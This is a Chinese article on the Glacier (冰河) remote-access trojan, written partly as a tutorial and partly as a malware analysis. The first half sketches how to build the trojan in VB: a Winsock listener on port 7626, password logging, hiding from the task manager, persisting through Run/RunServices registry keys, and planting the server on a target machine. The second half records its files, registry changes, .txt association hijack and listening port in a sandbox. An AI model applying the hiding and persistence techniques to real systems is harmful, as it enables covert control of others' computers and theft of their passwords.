该软件主要用于远程监控,具体功能包括:
1.自动跟踪目标机屏幕变化,同时可以完全模拟键盘及鼠标输入,即在同步被控端屏幕变化的同时,监控端的一切键盘及鼠标操作将反映在被控端屏幕(局域网适用);
2.记录各种口令信息:包括开机口令、屏保口令、各种共享资源口令及绝大多数在对话框中出现过的口令信息;
3.获取系统信息:包括计算机名、注册公司、当前用户、系统路径、操作系统版本、当前显示分辨率、物理及逻辑磁盘信息等多项系统数据;
4.系统功能:包括远程关机、远程重启计算机、锁定鼠标、锁定系统热键及锁定注册表等多项功能;
5.远程文件操作:包括创建、上传、下载、复制、删除文件或目录、文件压缩、快速浏览文本文件、远程打开文件(提供了四中不同的打开方式——正常方式、最大化、最小化和隐藏方式)等多项文件操作功能;
6.注册表操作:包括对主键的浏览、增删、复制、重命名和对键值的读写等所有注册表操作功能;
7.发送信息:以四种常用图标向被控端发送简短信息;
8.点对点通讯:以聊天室形式同被控端进行在线交谈。
1.程序实现:
在VB中,可以使用Winsock控件来编写网络客户/服务程序,实现方法如下(其中,G_Server和G_Client均为Winsock控件):
(1)服务端:
G_Server.LocalPort=7626(冰河的默认端口,可以改为别的值)
G_Server.Listen(等待连接)
(2)客户端:
G_Client.RemoteHost=ServerIP(设远端地址为服务器地址)
G_Client.RemotePort=7626
(在这里可以分配一个本地端口给G_Client, 如果不分配, 计算机将会自动分配一个, 建议让计算机自动分配)
G_Client.Connect (调用Winsock控件的连接方法)
一旦服务端接到客户端的连接请求ConnectionRequest,就接受连接
Private Sub G_Server_ConnectionRequest(ByVal requestID As Long)
G_Server.Accept requestID
End Sub
客户机端用G_Client.SendData发送命令,而服务器在G_Server_DateArrive事件中接受并执行命令(几乎所有的木马功能都在这个事件处理程序中实现)
如果客户断开连接,则关闭连接并重新监听端口
Private Sub G_Server_Close()
G_Server.Close (关闭连接)
G_Server.Listen (再次监听)
End Sub
其他的部分可以用命令传递来进行,客户端上传一个命令,服务端解释并执行命令......
(3)控制
对冰河的主要功能进行简单的概述,主要是使用Windows API函数
1.远程监控(控制对方鼠标、键盘,并监视对方屏幕)
keybd_event 模拟一个键盘动作
mouse_event 模拟一次鼠标事件 mouse_event(dwFlags,dx,dy,cButtons,dwExtraInfo)
dwFlags:
MOUSEEVENTF_ABSOLUTE 指定鼠标坐标系统中的一个绝对位置。
MOUSEEVENTF_MOVE 移动鼠标
MOUSEEVENTF_LEFTDOWN 模拟鼠标左键按下
MOUSEEVENTF_LEFTUP 模拟鼠标左键抬起
MOUSEEVENTF_RIGHTDOWN 模拟鼠标右键按下
MOUSEEVENTF_RIGHTUP 模拟鼠标右键按下
MOUSEEVENTF_MIDDLEDOWN 模拟鼠标中键按下
MOUSEEVENTF_MIDDLEUP 模拟鼠标中键按下
dx,dy: MOUSEEVENTF_ABSOLUTE中的鼠标坐标
2.记录各种口令
3.获取系统信息
a.取得计算机名 GetComputerName
b.更改计算机名 SetComputerName
c.当前用户 GetUserName函数
d.系统路径
Set FileSystem0bject = CreateObject("Scripting.FileSystemObject") (建立文件系统对象)
Set SystemDir = FileSystem0bject.getspecialfolder(1)
(取系统目录)
Set SystemDir = FileSystem0bject.getspecialfolder(0)
(取Windows安装目录)
e.取得系统版本 GetVersionEx
f.当前显示分辨率
Width = screen.Width \\ screen.TwipsPerPixelX
Height= screen.Height \\ screen.TwipsPerPixelY
4.系统功能
a.远程关机或重启计算机,使用WinAPI中的如下函数可以实现:
ExitWindowsEx(ByVal uFlags,0)
当uFlags=0 EWX_LOGOFF 中止进程,然后注销
当uFlags=1 EWX_SHUTDOWN 关掉系统电源
当uFlags=2 EWX_REBOOT 重新引导系统
当uFlags=4 EWX_FORCE 强迫中止没有响应的进程
b.锁定鼠标
ClipCursor(lpRect As RECT)可以将指针到指定区域,或者用ShowCursor(FALSE)把鼠标隐藏起来也可以
注:RECT是一个矩形,定义如下:
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
c.锁定系统,搞个死循环吧,比如设备漏洞或者耗尽资源
d.让对方掉线 RasHangUp......
e.终止进程 ExitProcess......
f.关闭窗口 利用FindWindow函数找到窗口并利用SendMessage函数关闭窗口
5.远程文件操作
FileSystemObject对象来实现
6.注册表操作
在VB中只要Set RegEdit=CreateObject("WScript.Shell")
就可以使用以下的注册表功能:
删除键值:RegEdit.RegDelete RegKey
增加键值:RegEdit.Write RegKey,RegValue
获取键值:RegEdit.RegRead (Value)
记住,注册表的键值要写全路径,否则会出错的。
7.发送信息
只是一个弹出式消息框而已,VB中用MsgBox("")就可以实现
(四)潜行
木马并不是合法的网络服务程序,因此,它必须想尽一切办法隐藏自己,好在,Windows是一个捉迷藏的大森林!
1、在任务栏中隐藏自己:
在VB中,只要把form的Visible属性设为False, ShowInTaskBar设为False, 程序就不会出现在任务栏中了。
2、在任务管理器中:
在任务管理器中,就是按下Ctrl+Alt+Del时看不见那个名字叫做“木马”的进程
在VB中如下的代码可以实现这一功能:
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long
(以上为声明)
Private Sub Form_Load()
RegisterServiceProcess GetCurrentProcessId, 1 (注册系统服务)
End Sub
Private Sub Form_Unload()
RegisterServiceProcess GetCurrentProcessId, 0 (取消系统服务)
End Sub
3、如何悄没声息地启动:
Windows支持多种在系统启动时自动加载应用程序的方法(简直就像是为木马特别定做的)启动组、win.ini、system.ini、注册表等等都是木马藏身的好地方。冰河采用了多种方法确保你不能摆脱它。首先,冰河会在注册表的HKEY_LOCAL_MACHINE\\Software\\ Microsoft\\Windows\\CurrentVersion\\Run和RUNSERVICE键值中加上了\\kernl32.exe(是系统目录),
2.冰河木马的总体分析:
创建文件 | 文件路径 | 文件类型 |
KERNEL32.EXE | C:\\Windows\\system32 | 只读 |
SYSEXPLR.EXE | C:\\Windows\\system32 | 只读 |
路径 | 键名 | 文件类型 |
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\ | Default | C:\\WINDOWS\\system32\\KERNEL32.EXE |
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\ | Default | C:\\WINDOWS\\system32\\ KERNEL32.EXE |
进程名 |
KERNEL32.EXE |
端口类型 | 端口号 |
TCP | 7626 |
冰河木马共有两个应用程序,服务器程序,属于木马受控端程序,种木马时,我们需将该程序放入到受控端的计算机中,然后双击该程序即可;另一个是木马的客户端程序,属木马的主控端程序。
(1)配置客户机端程序:
在主控端计算机中,双击Y_Client.exe图标,打开木马的客户端程序
(2)在服务器配置对话框中对待配置文件进行设置
(3)主控端计算机程序中添加受控端计算机
(4)在虚拟机上运行“冰河”的服务器端,双击server.exe。现在木马就已经驻留在我们的系统中了。这时在屏幕的左上角有一个窗口,该窗口中的图像即受控端计算机的屏幕
(5)然后在虚拟机上运行“冰河”的服务器端,双击server.exe。现在木马就已经驻留在我们的系统中了。我们来看一看它究竟对我们的做了哪些操作。
1进程检测:
从Procexp软件可以明显的看到,有一个KERNEL32.EXE进程
2.文件检测
用Filemon监测到,样本先在c:\\Windows\\system32 目录创建了一个KERNEL32.EXE文件,并往其中写入了大量与自身运行有关的数据。
可见木马在system32下生成了两个新文件.生成的文件信息如下,
New files
kernel32.exe 、sysexplr.exe、
生成的文件分别为kernel32.exe,sysexplr.exe,同时修改了文件的日期,从而达到隐藏的目的。
3.注册表检测
把KERNEL32.EXE注册成了服务。并把KERNEL32.EXE注册为开机启动。HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\(DefaultSUCCESS "C:\\WINDOWS\\system32\\KERNEL32.EXE"修改了2,新增了42项。
另外,木马还修改了 .TXT文件的关联, sysexplr.exe和TXT文件关联。即使删除了Kernel32.exe,但只要你打开 TXT文件,sysexplr.exe就会被激活,它将再次生成Kernel32.exe。
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\@
Value: String: "C:\\WINDOWS\\system32\\Kernel32.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices\\@
Value: String: "C:\\WINDOWS\\system32\\Kernel32.exe"
在以上键值里加入木马的生成文件,从而达到开机自动运行的效果。
4系统通信端口监控
7626 0.0.0.0:0 LISTENING 1792 C:\\WINDOWS\\system32\\Kernel32.exe可见其监听端口为7626。
6.行为分析
木马服务端server.exe。引入的函数.里面引用了大量的注册表操作函数同时引用了winsock32.dll用来建立网络连接。
首先判断被感染对像机器的系统版本,用GetVersionEx得到系统版本,然后根据各个版本得到系统目录,计算机名,桌面宽度,当前用户之类的信息。释放病毒文件,并修改文件的属性和时间。属性被设为只读和存档。接着修改注册表,用RegOpenKeyEx打开注册表的键,然后用RegSetValue设置相关信息,如启动项之类,最后RegCloseKey关闭句柄.下面建立网络连接,用WSAAsyncSelect创建一个异步事件,然后创建socket连接,用bind绑定,端口7626就是在这里设置的。